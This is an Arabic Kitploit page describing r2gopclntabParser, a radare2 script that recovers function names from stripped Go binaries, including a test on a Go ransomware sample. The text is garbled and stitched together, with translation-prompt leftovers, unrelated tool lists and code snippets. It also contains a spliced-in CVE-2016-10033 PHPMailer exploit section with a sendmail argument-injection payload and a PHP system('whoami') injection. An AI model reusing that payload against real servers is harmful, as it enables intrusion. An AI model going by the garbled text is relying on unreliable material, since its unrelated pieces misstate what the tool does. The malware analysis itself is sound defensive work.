Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
r2gopclntabParser — نص برمجي لـ radare2 لتحليل جدول gopclntab لتسهيل الهندسة العكسية لثنائيات Go. | Kitploit
أدوات/GitHubGitHub/asherdll/r2gopclntabparser
التحليل الثابتالهندسة العكسيةمصممي الأخطاءالتحقيق الجنائي الرقميتحليل البرمجيات الخبيثةتحليل الملفات الثنائية
GitHubasherdll/r2gopclntabparser

r2gopclntabParser

نص برمجي لـ radare2 لتحليل جدول gopclntab لتسهيل الهندسة العكسية لثنائيات Go.

عرض المستودع
17منذ 4 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

r2gopclntabParser

ملاحظة: تم تنفيذ هذه الميزة مباشرة في نواة radare2 باسم gopc analysis plugin

محلل gopclntab لـ Go يعتمد على radare2 لاستعادة رموز الدوال من ملفات Go الثنائية، بما في ذلك تلك التي تم تجريدها بالكامل. يدعم ملفات ELF و Mach-O و PE عبر إصدارات Go 1.2 و 1.16 و 1.18 و 1.20+.

كل ملف ثنائي لـ Go 1.2+ يحتوي على منطقة بيانات تسمى gopclntab (جدول خطوط عداد البرنامج) التي تستخدمها بيئة تشغيل Go لتتبعات المكدس ورسائل الذعر وجمع القمامة ودعم المصحح. إنها واحدة من أكثر مصادر معلومات الرموز قيمة في ملفات Go الثنائية.

يقرأ r2gopclntabParser هذه المنطقة عبر radare2، ويحلل الهياكل الخاصة بالإصدار، ثم يطبع قائمة الدوال المستعادة (مع العناوين وملفات المصدر وأرقام الأسطر) أو يطبق الأسماء المستعادة مرة أخرى في جلسة radare2 المفتوحة كتعريفات دوال وعلامات وتعليقات.


جدول المحتويات

  • المتطلبات الأساسية
  • بداية سريعة
  • مرجع CLI
  • أنماط المخرجات والأمثلة
    • الوضع الافتراضي (رأس + قائمة دوال)
    • الوضع المفصل (-v)
    • وضع البحث (-n)
    • مخرجات JSON (--json)
    • قائمة ملفات المصدر (--files)
    • وضع التطبيق (--apply)
  • ملخص النتائج: Mach-O (ملف اختبار مجرد)
  • اختبار PE: Greenblood، ملف ثنائي لـ Ransomware بلغة Go
  • حالات الاستخدام في الهندسة العكسية
  • المنصات المدعومة وإصدارات Go
  • المنهجية
    • استراتيجية تحديد موقع القسم
    • textStart مقابل قسم .text
    • تحليل الهياكل وفقًا للإصدار
    • فك تشفير بيانات PC
  • القيود
  • توثيق إضافي
  • المراجع

المتطلبات الأساسية

التبعيةالحد الأدنى للإصدار
Python 33.8+
radare25.0+ (تم الاختبار على 6.0.9)
r2pipeأي

لا يلزم وجود حزم Python أخرى. يستخدم البرنامج النصي فقط المكتبة القياسية (struct, json, argparse, os, sys) بالإضافة إلى r2pipe.


بداية سريعة```bash

List all functions recovered from a Go binary

python3 r2_gopclntab.py -f ./mybinary -l

Search for a specific function (substring match)

python3 r2_gopclntab.py -f ./mybinary -n main.main

Verbose header + function list

python3 r2_gopclntab.py -f ./mybinary -v -l

Apply recovered names into an r2 session

python3 r2_gopclntab.py -f ./mybinary --apply

JSON output

python3 r2_gopclntab.py -f ./mybinary --json

From within r2 (attach to running session)

#!pipe python3 r2_gopclntab.py --r2pipe --apply -v

root@kitploit:~
## مرجع CLI```
usage: r2_gopclntab.py [-h] [-f FILE] [-n FUNCNAME] [-v] [-l]
                       [--apply] [--json] [--files] [--r2pipe]

مطلوب (واحد من)

العلمالوصف
-f FILE, --file FILEمسار الملف الثنائي Go لتحليله. يقوم السكريبت بتشغيل مثيل r2 خاص به.
--r2pipeالاتصال بجلسة r2 قيد التشغيل (للاستخدام داخل وحدة تحكم r2).

اختياري

يمكن دمج الأعلام بحرية. عندما لا يتم إعطاء علم إخراج، يكون السلوك الافتراضي هو طباعة الرأس وقائمة الدوال الكاملة.


أنماط الإخراج والأمثلة

جميع الأمثلة أدناه تم تشغيلها على ملف ثنائي Go 1.26 Mach-O arm64 مُجرّد (مبني بـ -ldflags="-s -w"). البرنامج الاختباري يعرّف main.main، main.fibonacci، main.helloWorld، وmain.addNumbers. قام المترجم بدمج helloWorld وaddNumbers داخلياً، لذا لا تظهران في gopclntab.

الوضع الافتراضي (الرأس + قائمة الدوال)

التشغيل بدون أعلام (أو فقط -f) يطبع الرأس المُحلل متبوعًا بجدول الدوال الكامل:``` $ python3 r2_gopclntab.py -f ./gotest_stripped

root@kitploit:~
يبدو أن الإدخال فارغ. لا يوجد نص للترجمة.```
============================================================
  Go pclntab Header
============================================================
  Magic:           0xFFFFFFF1
  Go version:      1.20+
  Pointer size:    8
  Min LC (quantum):4
  Num functions:   2030
  Num files:       261
  funcnameOffset:  0x48
  cuOffset:        0x14D20
  filetabOffset:   0x158D8
  pctabOffset:     0x19A98
  pclnOffset:      0x55E40
============================================================

ADDRESS       FUNCTION NAME
----------------------------------------------------------------------
0x100001000   go:buildid
0x100001070   internal/abi.BoundsDecode  (/opt/homebrew/Cellar/go/1.26.1/libexec/src/internal/abi/bounds.go:86)
0x100001150   internal/abi.NoEscape  (/opt/homebrew/Cellar/go/1.26.1/libexec/src/internal/abi/escape.go:19)
0x100001160   internal/abi.Kind.String  (/opt/homebrew/Cellar/go/1.26.1/libexec/src/internal/abi/type.go:143)
0x1000011E0   internal/abi.TypeOf  (/opt/homebrew/Cellar/go/1.26.1/libexec/src/internal/abi/type.go:181)
0x1000011F0   internal/abi.(*Type).ExportedMethods  (/opt/homebrew/Cellar/go/1.26.1/libexec/src/internal/abi/type.go:453)
...
0x1000A0BB0   main.fibonacci  (/tmp/gotest/main.go:13)
0x1000A0C20   main.main  (/tmp/gotest/main.go:20)
0x1000A0D20   go:textfipsstart
0x1000A0D30   go:textfipsend

[+] 2030 function(s) shown

وضع الإسهاب (-v)

يضيف تقدم فحص الأقسام، وتفاصيل دقة textStart، ومعلومات الإزاحة الداخلية:``` $ python3 r2_gopclntab.py -f ./gotest_stripped -v

root@kitploit:~
* أُضيفت أوضاع الواجهة الداكنة والفاتحة  (يمكن تغييرها من شريط الأدوات)
  * التاريخ: 24 يناير 2022
  * الإصدار: 2.2.0
* حقوق النشر (c) 2015-2022 [Yogesh Khatri](https://github.com/ydkhatri) ([@SwiftForensics](https://twitter.com/SwiftForensics))```
[*] Running radare2 analysis...
[*] Binary format: mach0, endian: little, arch: arm, bits: 64
[*] Scanning binary for gopclntab magic bytes...
[*]   Scanning section '0.__TEXT.__text' (0x100001000, 0x9FD44)...
[*]   Scanning section '1.__TEXT.__symbol_stub1' (0x1000A0D60, 0x2B8)...
[*]   Scanning section '2.__TEXT.__rodata' (0x1000A1020, 0xACC2)...
[*]   Scanning section '3.__TEXT.__gopclntab' (0x1000ABCE8, 0xA48AE)...
[*]   Found magic at vaddr=0x1000ABCE8
[*] Parsed header: PcHeader(magic=0xFFFFFFF1, version=1.20+, ptrSize=8, minLC=4,
    nfunc=2030, nfiles=261, textStart=0x0)
[*] textStart is 0, using .text section vaddr: 0x100001000
[*] Parsed 2030 functions

============================================================
  Go pclntab Header
============================================================
  Magic:           0xFFFFFFF1
  Go version:      1.20+
  ...

وضع البحث (-n)

يقوم بتصفية قائمة الدوال حسب تطابق السلسلة الفرعية. إذا وُجد تطابق تام، يتم طباعة عنوانه بشكل منفصل.

بحث عن السلسلة الفرعية لجميع الدوال التي تحتوي على main.:``` $ python3 r2_gopclntab.py -f ./gotest_stripped -n "main."

root@kitploit:~
Please provide the Markdown content to translate.```
ADDRESS       FUNCTION NAME
----------------------------------------------------------------------
0x100041920   runtime.main.func2  (/opt/homebrew/Cellar/go/1.26.1/libexec/src/runtime/proc.go:207)
0x10006CE30   runtime.main.func1  (/opt/homebrew/Cellar/go/1.26.1/libexec/src/runtime/proc.go:174)
0x1000A0BB0   main.fibonacci  (/tmp/gotest/main.go:13)
0x1000A0C20   main.main  (/tmp/gotest/main.go:20)

[+] 4 function(s) shown (filtered from 2030 total)

بحث تطابق تام:``` $ python3 r2_gopclntab.py -f ./gotest_stripped -n "main.fibonacci"

root@kitploit:~
- [AutomataModoki](https://web.archive.org/web/20200812071648/http://www.scriptkiddie.de/) - صندوق أدوات Scriptkiddie يحتوي على جميع أدوات scriptkiddie الشائعة، تنطلق من قائمة واجهة مستخدم رسومية واحدة. 
- [R3C0Nizer](https://github.com/JacobIngalls/R3C0Nizer) - أداة لجمع المعلومات عن النطاقات، البريد الإلكتروني، عناوين IP، والمؤسسات. 
- [AutoRecon](https://github.com/JacobIngalls/AutoRecon) - سكريبت shell بسيط لأتمتة عمليات جمع المعلومات وفحص المجلدات. 
- [Auto Pentest](https://github.com/JacobIngalls/Automated-Pentest) - سكريبت اختبار اختراق مؤتمت تم إنشاؤه بلغة Python. 
- [ThunderSearch](https://github.com/robotama/ThunderSearch) - واجهة مستخدم رسومية للبحث في قواعد بيانات الثغرات المختلفة، باستخدام مصادر وواجهات برمجة تطبيقات متنوعة عبر الإنترنت.```
ADDRESS       FUNCTION NAME
----------------------------------------------------------------------
0x1000A0BB0   main.fibonacci  (/tmp/gotest/main.go:13)

[+] 1 function(s) shown (filtered from 2030 total)

[+] Exact match: main.fibonacci @ 0x1000A0BB0

البحث عن التفاصيل الداخلية لوقت التشغيل المتعلقة بجمع القمامة (GC):``` $ python3 r2_gopclntab.py -f ./gotest_stripped -n "runtime.gc"

root@kitploit:~
[No content provided in the INPUT section. Please supply the Markdown text to translate.]```
ADDRESS       FUNCTION NAME
----------------------------------------------------------------------
0x10001F310   runtime.gcinit  (/opt/homebrew/.../src/runtime/mgc.go:179)
0x10001F3C0   runtime.gcenable  (/opt/homebrew/.../src/runtime/mgc.go:211)
0x10001F730   runtime.gcStart  (/opt/homebrew/.../src/runtime/mgc.go:733)
0x10001FFE0   runtime.gcMarkDone  (/opt/homebrew/.../src/runtime/mgc.go:1015)
0x100020A50   runtime.gcMarkTermination  (/opt/homebrew/.../src/runtime/mgc.go:1344)
0x100021C10   runtime.gcBgMarkWorker  (/opt/homebrew/.../src/runtime/mgc.go:1750)
0x1000223D0   runtime.gcMark  (/opt/homebrew/.../src/runtime/mgc.go:1956)
0x1000227A0   runtime.gcSweep  (/opt/homebrew/.../src/runtime/mgc.go:2049)
...
0x100076C60   runtime.gcWriteBarrier1  (/opt/homebrew/.../src/runtime/asm_arm64.s:1533)

[+] 73 function(s) shown (filtered from 2030 total)

البحث عن fmt. (طباعة المكتبة القياسية):``` $ python3 r2_gopclntab.py -f ./gotest_stripped -n "fmt."

root@kitploit:~
INPUT:```
ADDRESS       FUNCTION NAME
----------------------------------------------------------------------
0x100098AA0   fmt.(*fmt).writePadding  (/opt/homebrew/.../src/fmt/format.go:66)
0x100098BF0   fmt.(*fmt).pad  (/opt/homebrew/.../src/fmt/format.go:93)
0x100099590   fmt.(*fmt).fmtInteger  (/opt/homebrew/.../src/fmt/format.go:197)
0x10009ADF0   fmt.Fprintf  (/opt/homebrew/.../src/fmt/print.go:222)
0x10009AED0   fmt.Fprintln  (/opt/homebrew/.../src/fmt/print.go:303)
0x10009D3F0   fmt.(*pp).printArg  (/opt/homebrew/.../src/fmt/print.go:721)
0x10009D950   fmt.(*pp).printValue  (/opt/homebrew/.../src/fmt/print.go:797)
0x10009FA60   fmt.(*pp).doPrintf  (/opt/homebrew/.../src/fmt/print.go:1018)
...

البحث عن sync. (أساسيات التزامن):``` $ python3 r2_gopclntab.py -f ./gotest_stripped -n "sync."

root@kitploit:~
### إعادة التوجيه

إذا لم يتم توفير علامة تصحيح صالحة، يمكنك تحديد مقبس لإعادة توجيه العميل إلى خادم آخر. من الضروري توجيه العميل إلى المسار الصحيح لضمان عدم انقطاع المسار.

### الاستخدام

CVE-2016-10033 - Wordpress <4.7.1 PHPMailer Argument Injector - Redirecting Usage: cve-2016-10033-redirect.sh 44010 /path/to/script - If no port is given, the script will try to connect to the server with the default SMTP port (25). - Set 'DEBUG' flag to '1', '2', or '3' if you want to test locally and not send the client away.

root@kitploit:~
./cve-2016-10033-redirect.sh 44010 /test.php
[...]
220 wordpress.example.com ESMTP
EHLO localhost
250- wordpress.example.com
[...]
250-SIZE 20480000
250-AUTH LOGIN PLAIN CRAM-MD5
250-8BITMIME
220 2.0.0 Continue
<?php
system('whoami');
?>
<?

في هذا المثال نقوم بالاتصال بالخادم باستخدام منفذ SMTP الافتراضي (25). بعد الشعار نرسل رسالة EHLO، ثم يستجيب الخادم بقائمة من الأوامر مثل AUTH و SIZE. سنقوم بإرسال بريد إلكتروني لاستغلال الثغرة باستخدام أمر MAIL FROM. سنستخدم علامة DEBUG مضبوطة على 0 لإعادة توجيه العميل إلى مسار مختلف. سلسلة MAIL FROM هي:

root@kitploit:~
a(any_host -be ${run\{${substr\{0\{1\}{$spool_directory\}}}${substr\{0\{1\}{$tod_log\}}}})

إذا لم يتم تحديد قيمة sendmail ولم يتم الكتابة فوق المتغيرات $params، ستستخدم PHPMailer الأمر التالي لإرسال بريد إلكتروني (انظر دالة isSendmail في class.phpmailer.php):

root@kitploit:~
$sendmail = sprintf("%s -oi -f %s -t", $this->Sendmail, $this->Sender);

(إذا كان $sendmail فارغاً، وهو ما لا نعرفه). تم شرح ذلك في النشرة الاستشارية. يمكنك العثور على $params في دالة isMail.

لذا، ستؤدي السلسلة أعلاه إلى تنفيذ الأمر التالي:

root@kitploit:~
Argv: /usr/sbin/sendmail -oi -f a( -be ${run\{${substr\{0\{1\}{$spool_directory\}}}${substr\{0\{1\}{$tod_log\}}}})

الملفات المثيرة للاهتمام

مسار ثنائي sendmail: /usr/sbin/sendmail

مسار ثنائي postdrop: /usr/sbin/postdrop

تستخدم PHPMailer وWordpress هذه المسارات لإرسال البريد الإلكتروني. ملفات مثيرة للاهتمام لقراءتها إذا كان لديك وصول إلى الخادم:

  • $spool_directory هو الدليل الذي تُخزَّن فيه الرسائل قبل إرسالها. في حالتي، استخدمت /var/spool/mqueue-client
  • $tod_log هو الملف الذي تُخزَّن فيه السجلات. في حالتي، استخدمت `/var/log/mail.log```` ADDRESS FUNCTION NAME

0x10006FFE0 sync.runtime_registerPoolCleanup (/opt/homebrew/.../src/runtime/mgc.go:2150) 0x100070BA0 sync.fatal (/opt/homebrew/.../src/runtime/panic.go:1160) 0x1000714E0 sync.runtime_procPin (/opt/homebrew/.../src/runtime/proc.go:7912) 0x10007B290 internal/sync.(*Mutex).lockSlow (/opt/homebrew/.../src/internal/sync/mutex.go:95) 0x10007B570 internal/sync.(*Mutex).Unlock (/opt/homebrew/.../src/internal/sync/mutex.go:187) ...

root@kitploit:~
### JSON Output (--json)

مخرجات قابلة للقراءة آلياً للبرمجة النصية وتكامل خطوط الأنابيب:```
$ python3 r2_gopclntab.py -f ./gotest_stripped --json

بإمكانك بعد ذلك اختبار ميزة توقيع الالتزامات:

  • قم بإجراء التزام في مستودعك، ثم استخدم git log --show-signature للتحقق من التوقيع.

إذا لم يتم تطبيق التوقيع، قد تحتاج إلى تكوين خيارات التوقيع للمستودع. يمكنك إعداد ذلك عبر سكريبت بسيط:

root@kitploit:~
// تحقق مما إذا كان أمر git متاحًا
if (git) {
  console.log('Git is available')
} else {
  console.log('Git is not available')
}

يضمن هذا النهج تشغيل الوحدة لأوامر Git بدقة حتى في البيئات التي لا يتم فيها التعرف على الأمر تلقائيًا.```json { "header": { "magic": "0xFFFFFFF1", "version": "1.20+", "ptrSize": 8, "minLC": 4, "nfunc": 2030, "nfiles": 261, "textStart": "0x0" }, "functions": [ { "name": "go:buildid", "addr": "0x100001000", "args": 0, "source_file": "", "start_line": 0 }, { "name": "internal/abi.BoundsDecode", "addr": "0x100001070", "args": 8, "source_file": "/opt/homebrew/Cellar/go/1.26.1/libexec/src/internal/abi/bounds.go", "start_line": 86 }, { "name": "main.fibonacci", "addr": "0x1000A0BB0", "args": 0, "source_file": "/tmp/gotest/main.go", "start_line": 13 }, { "name": "main.main", "addr": "0x1000A0C20", "args": 0, "source_file": "/tmp/gotest/main.go", "start_line": 20 } ], "num_source_files": 261 }

root@kitploit:~
### Source File Listing (--files)

يستخرج جميع مسارات ملفات المصدر المضمنة في الثنائي:```
$ python3 r2_gopclntab.py -f ./gotest_stripped --files

| in | boolean | - | false | عند استخدام analysis_mode، إذا تم ضبطه على true، سيتضمن الإخراج المدخلات المرسلة إلى تحليل النموذج. |``` Source files (261):

/opt/homebrew/Cellar/go/1.26.1/libexec/src/internal/abi/bounds.go /opt/homebrew/Cellar/go/1.26.1/libexec/src/internal/abi/escape.go /opt/homebrew/Cellar/go/1.26.1/libexec/src/internal/abi/type.go /opt/homebrew/Cellar/go/1.26.1/libexec/src/internal/cpu/cpu.go /opt/homebrew/Cellar/go/1.26.1/libexec/src/internal/cpu/cpu_arm64.go /opt/homebrew/Cellar/go/1.26.1/libexec/src/runtime/proc.go /opt/homebrew/Cellar/go/1.26.1/libexec/src/runtime/mgc.go /opt/homebrew/Cellar/go/1.26.1/libexec/src/runtime/malloc.go /opt/homebrew/Cellar/go/1.26.1/libexec/src/runtime/panic.go /opt/homebrew/Cellar/go/1.26.1/libexec/src/fmt/print.go /opt/homebrew/Cellar/go/1.26.1/libexec/src/fmt/format.go /opt/homebrew/Cellar/go/1.26.1/libexec/src/reflect/value.go /opt/homebrew/Cellar/go/1.26.1/libexec/src/reflect/type.go /tmp/gotest/main.go ... ... and 61 more

root@kitploit:~
### وضع التطبيق (--apply)

يكتب جميع أسماء الدوال المستعادة في جلسة radare2. يوضح ما يلي مقارنة قبل/بعد على الملف الثنائي المجرد.

**قبل** (تحليل r2 الأصلي على الملف الثنائي المجرد، بدون تحليل gopclntab):```
Functions found by r2 natively: 1913

Disassembly at 0x1000a0c20 (main.main, unnamed):

            ; CODE XREF from fcn.1000a0c20 @ 0x1000a0d14(r)
  24: fcn.1000a0c20 (int64_t arg1);
           0x1000a0c20      900b40f9       ldr x16, [x28, 0x10]
           0x1000a0c24      ff6330eb       cmp sp, x16
           0x1000a0c28      29070054       b.ls 0x1000a0d0c

Disassembly at 0x1000a0bb0 (main.fibonacci, unnamed):

  112: fcn.1000a0bb0 (signed int64_t arg1, int64_t arg_8h);
           0x1000a0bb0      900b40f9       ldr x16, [x28, 0x10]
           0x1000a0bb4      ff6330eb       cmp sp, x16
           0x1000a0bb8      a9020054       b.ls 0x1000a0c0c

r2 وجد 1913 دالة لكنه لم يسمِ أيًا منها (فقط تسميات fcn.XXXXXXXX مجهولة). البحث عن main.main أو main.fibonacci لا يعيد شيئًا.

تطبيق رموز gopclntab:``` [] Binary format: mach0, endian: little, arch: arm, bits: 64 [] Found magic at vaddr=0x1000ABCE8 [] Parsed header: PcHeader(magic=0xFFFFFFF1, version=1.20+, ...) [] textStart is 0, using .text section vaddr: 0x100001000 [*] Parsed 2030 functions [+] Applied 2030 function names to radare2 (0 skipped)

root@kitploit:~
**بعد** (r2 session with gopclntab symbols applied):```
r2 function list matching "main" (after --apply):

0x100041510    0      0 runtime.main
0x100041920    0      0 runtime.main.func2
0x10006ce30    0      0 runtime.main.func1

Flags in go.* flagspace (last 20):

0x10009fa60 1 go.fmt._ptr_pp_.doPrintf
0x1000a0930 1 go.fmt._ptr_pp_.doPrintln
0x1000a0bb0 1 go.main.fibonacci
0x1000a0c20 1 go.main.main
0x1000a0d20 1 go.go:textfipsstart
0x1000a0d30 1 go.go:textfipsend

التفكيك في main.main يُظهر الآن الاسم المسترجع وموقع المصدر:``` ;-- go.main.main: 24: fcn.1000a0c20 (int64_t arg1); 0x1000a0c20 900b40f9 ldr x16, [x28, 0x10] ; " src: /tmp/gotest/main.go:20" 0x1000a0c24 ff6330eb cmp sp, x16 0x1000a0c28 29070054 b.ls 0x1000a0d0c

root@kitploit:~
التفكيك عند `main.fibonacci` يظهر الآن الاسم المستعاد وموقع المصدر:```
            ;-- go.main.fibonacci:
  112: fcn.1000a0bb0 (signed int64_t arg1, int64_t arg_8h);
           0x1000a0bb0      900b40f9       ldr x16, [x28, 0x10]       ; " src: /tmp/gotest/main.go:13"
           0x1000a0bb4      ff6330eb       cmp sp, x16
           0x1000a0bb8      a9020054       b.ls 0x1000a0c0c

البحث بالاسم يعمل الآن في جلسة r2:``` go.main.main resolves to: 0x1000a0c20 go.main.fibonacci resolves to: 0x1000a0bb0

root@kitploit:~
---

## ملخص النتائج: ملف Mach-O (ثنائي اختبار مجرّد)

| المقياس | الأصلي r2 (مجرّد) | بعد r2_gopclntab.py |
|---|---|---|
| الدوال الموجودة | 1913 (تسميات `fcn.XXXX` مجهولة) | 2030 (أسماء مؤهلة بالحزمة Go كاملة) |
| دوال المستخدم المحددة | 0 | `main.main`، `main.fibonacci` مع المصدر ورقم السطر |
| ملفات المصدر المستردة | 0 | 261 (مسارات مطلقة كاملة) |
| الرموز المسماة | واجهات استيراد C فقط (`sym.imp.mmap`، إلخ.) | كل دالة Go مسماة (`go.main.main`، `go.runtime.gcStart`، إلخ.) |
| تعليقات المصدر | لا شيء | مضمنة `src: /tmp/gotest/main.go:20` في التفكيك |
| قابلة للتنقل بالاسم | لا | نعم (`s go.main.main`، `afl~runtime.gc`) |

---

## اختبار PE: Greenblood، ثنائي فدية Go

تم اختبار المحلل اللغوي ضد ثنائي PE حقيقي، Greenblood (`greenblood_1`)، وهو عينة من برامج الفدية Go تم تجميعها كملف تنفيذي PE32+ x86-64 لويندوز. لا تحتوي ثنائيات PE على قسم مخصص `.gopclntab`، لذلك هذا يختبر مسار التراجع عن المسح الضوئي بالبايت السحري.

### الاكتشاف والرأس```
$ python3 r2_gopclntab.py -f ./greenblood_1 -v
  • المفتاح - 16, 24, 32 حرفًا (عند استخدام Cipher و Decipher)

  • معدل الباود - (عند استخدام Cipher و Decipher)

  • (لـ نص/ملف، الإدخال، المفتاح السري، التنسيق)``` [] Binary format: pe, endian: little, arch: x86, bits: 64 [] Scanning binary for gopclntab magic bytes... [] Scanning section '.text' (0x401000, 0xF4000)... [] Scanning section '.rdata' (0x4F5000, 0x127000)... [] Found magic at vaddr=0x568C00 [] Parsed header: PcHeader(magic=0xFFFFFFF1, version=1.20+, ptrSize=8, minLC=1, nfunc=2596, nfiles=345, textStart=0x401000) [] textStart from header: 0x401000 [] Parsed 2596 functions

root@kitploit:~
وجد الماسح `gopclntab` داخل القسم `.rdata` عند `0x568C00`.
نظرًا لأن هذا ملف PE قياسي (غير PIE)، فإن `textStart` هو `0x401000` (غير صفري)،
لذلك تُستخدم قيمة الترويسة مباشرة لحساب العنوان.

| الحقل | القيمة |
|---|---|
| التنسيق | PE32+ x86-64 |
| موقع gopclntab | `.rdata` عند `0x568C00` (تم العثور عليه بالمسح السحري) |
| السحر (Magic) | `0xFFFFFFF1` (Go 1.20+) |
| حجم المؤشر | 8 |
| الكم (minLC) | 1 (x86) |
| textStart | `0x401000` (من الترويسة) |
| الدوال المستردة | 2596 |
| ملفات المصدر | 345 |

### دوال البرنامج الضار المستردة

البحث عن كود البرنامج الضار نفسه (`main.`):```
$ python3 r2_gopclntab.py -f ./greenblood_1 -n "main."

Please provide the Markdown content to translate.``` ADDRESS FUNCTION NAME

0x4D91E0 main.init (:1) 0x4D9200 main.map.init.0 (/root/victims/ransom/daf/enc.go:59) 0x4D92C0 main.map.init.1 (/root/victims/ransom/daf/enc.go:126) 0x4D95C0 main.NewKeyManager (/root/victims/ransom/daf/enc.go:146) 0x4D97E0 main.getMachineFingerprint (/root/victims/ransom/daf/enc.go:173) 0x4DA2C0 main.getBIOSUUID (/root/victims/ransom/daf/enc.go:249) 0x4DA3C0 main.NewEncryptionEngine (/root/victims/ransom/daf/enc.go:287) 0x4DA560 main.(*EncryptionEngine).fileWorker (/root/victims/ransom/daf/enc.go:303) 0x4DA660 main.(*EncryptionEngine).processFile (/root/victims/ransom/daf/enc.go:319) 0x4DA740 main.(*EncryptionEngine).encryptFile (/root/victims/ransom/daf/enc.go:334) 0x4DB2A0 main.(*EncryptionEngine).EncryptPath (/root/victims/ransom/daf/enc.go:446) 0x4DB620 main.(*EncryptionEngine).shouldSkipDirectory (/root/victims/ransom/daf/enc.go:495) 0x4DB7C0 main.(*EncryptionEngine).shouldEncryptFile (/root/victims/ransom/daf/enc.go:522) 0x4DB9A0 main.(*EncryptionEngine).placeRansomNote (/root/victims/ransom/daf/enc.go:560) 0x4DBB60 main.(*EncryptionEngine).recordSuccess (/root/victims/ransom/daf/enc.go:636) 0x4DBFA0 main.(*EncryptionEngine).Wait (/root/victims/ransom/daf/enc.go:664) 0x4DC3C0 main.formatBytes (/root/victims/ransom/daf/enc.go:689) 0x4DC500 main.disableRecovery (/root/victims/ransom/daf/enc.go:706) 0x4DC720 main.isAdmin (/root/victims/ransom/daf/enc.go:732) 0x4DC8C0 main.main (/root/victims/ransom/daf/enc.go:760) 0x4DD260 main.getLogicalDrives (/root/victims/ransom/daf/enc.go:863) 0x4DD4A0 main.isAlreadyRunning (/root/victims/ransom/daf/enc.go:892) 0x4DD660 main.getDesktopPath (/root/victims/ransom/daf/enc.go:911) 0x4DD780 main.removeExecutable (/root/victims/ransom/daf/enc.go:932) ...

[+] 43 function(s) shown (filtered from 2596 total)

root@kitploit:~
تم استرداد جميع دوال المستخدم البالغ عددها 43 من ملف مصدر واحد في
`/root/victims/ransom/daf/enc.go`. تكشف أسماء الدوال على الفور عن
قدرات برنامج الفدية: إدارة المفاتيح، بصمة الجهاز، تشفير الملفات
مع اجتياز المسار، وضع ملاحظة الفدية، تعطيل الاسترداد،
التحقق من الصلاحيات، تطبيق المثال الواحد القائم على الميوتكس، تعداد محركات الأقراص،
والحذف الذاتي.

### تبعيات غير المكتبة القياسية

استخراج ملفات المصدر التي ليست جزءًا من مكتبة Go القياسية:```
/root/go/pkg/mod/golang.org/x/[email protected]/windows/dll_windows.go
/root/go/pkg/mod/golang.org/x/[email protected]/windows/registry/key.go
/root/go/pkg/mod/golang.org/x/[email protected]/windows/registry/value.go
/root/go/pkg/mod/golang.org/x/[email protected]/windows/security_windows.go
/root/go/pkg/mod/golang.org/x/[email protected]/windows/str.go
/root/go/pkg/mod/golang.org/x/[email protected]/windows/syscall.go
/root/go/pkg/mod/golang.org/x/[email protected]/windows/syscall_windows.go
/root/go/pkg/mod/golang.org/x/[email protected]/windows/zsyscall_windows.go
/root/victims/ransom/daf/enc.go

الاعتماد الخارجي الوحيد هو golang.org/x/[email protected] لاستدعاءات النظام الخاصة بنظام ويندوز (الوصول إلى السجل، رموز الأمان، تحميل مكتبات DLL).

دوال التشفير

البحث عن crypto يكشف عن 137 دالة متعلقة بالتشفير، بما في ذلك:``` $ python3 r2_gopclntab.py -f ./greenblood_1 -n "crypto"

root@kitploit:~
لتحميله مؤقتًا في الذاكرة، استخدم `wget` أو `curl`. بمجرد التحميل، قم بتشغيل `chmod +x script.sh` لجعله قابلاً للتنفيذ.```
ADDRESS       FUNCTION NAME
----------------------------------------------------------------------
0x4AEC00      crypto/cipher.NewCTR  (/usr/local/go/src/crypto/cipher/ctr.go:41)
0x4AF520      crypto/cipher.StreamWriter.Write  (/usr/local/go/src/crypto/cipher/io.go:36)
0x4AF840      crypto/aes.NewCipher  (/usr/local/go/src/crypto/aes/aes.go:36)
0x4C3760      crypto/rand.(*reader).Read  (/usr/local/go/src/crypto/rand/rand.go:45)
0x4DE6C0      crypto/internal/fips140/sha256.New  (.../sha256/sha256.go:138)
0x4E3EC0      crypto/internal/fips140/sha3.NewCShake128  (.../sha3/shake.go:134)
0x4EED60      crypto/internal/fips140/hmac.New  (.../hmac/hmac.go:131)
0x4EF800      crypto/internal/fips140/aes.newBlock  (.../aes/aes_asm.go:59)
0x4F0800      crypto/internal/fips140/aes.(*CBCEncrypter).CryptBlocks  (.../aes/cbc.go:26)
0x4F0FE0      crypto/internal/fips140/aes.(*CTR).XORKeyStream  (.../aes/ctr.go:41)
...

[+] 137 function(s) shown (filtered from 2596 total)

مُلف تعريف استخدام التشفير: AES (وضعي CBC وCTR)، SHA-256، SHA-512، HMAC، CSHAKE128، وDRBG (مُولِّد البتات العشوائي الحتمي). هذا يتوافق مع برامج الفدية التي تُنشئ مفاتيح تشفير خاصة بكل جهاز مُشتقَّة من بصمة الجهاز، وتُشفِّر الملفات باستخدام AES-CTR، وتستخدم HMAC للتحقق من السلامة.

وضع التطبيق```

$ python3 r2_gopclntab.py -f ./greenblood_1 --apply [+] Applied 2596 function names to radare2 (0 skipped) [+] Function names applied. Use 'afl' in r2 to see them.

root@kitploit:~
تم تطبيق جميع الدوال البالغ عددها 2596 بنجاح دون تخطي أي منها.

---

## حالات استخدام للهندسة العكسية

### 1. الفرز والتحديد

تحديد ما إذا كان الملف الثنائي هو Go فورًا، وإصدار Go الذي تم بناؤه به، والحزم التي يستخدمها. يكشف إخراج `--files` عن إصدار سلسلة أدوات Go (من مسارات الملفات مثل `/usr/local/go/1.26.1/...`) وكل مسار لملف مصدري، بما في ذلك المكتبات الخارجية. بالنسبة للبرامج الضارة، يكشف هذا فورًا ما إذا كانت العينة تستخدم `crypto/tls` أو `net/http` أو `os/exec` أو حزم أخرى ذات أهمية.

### 2. استعادة الرموز في الملفات الثنائية المجردة

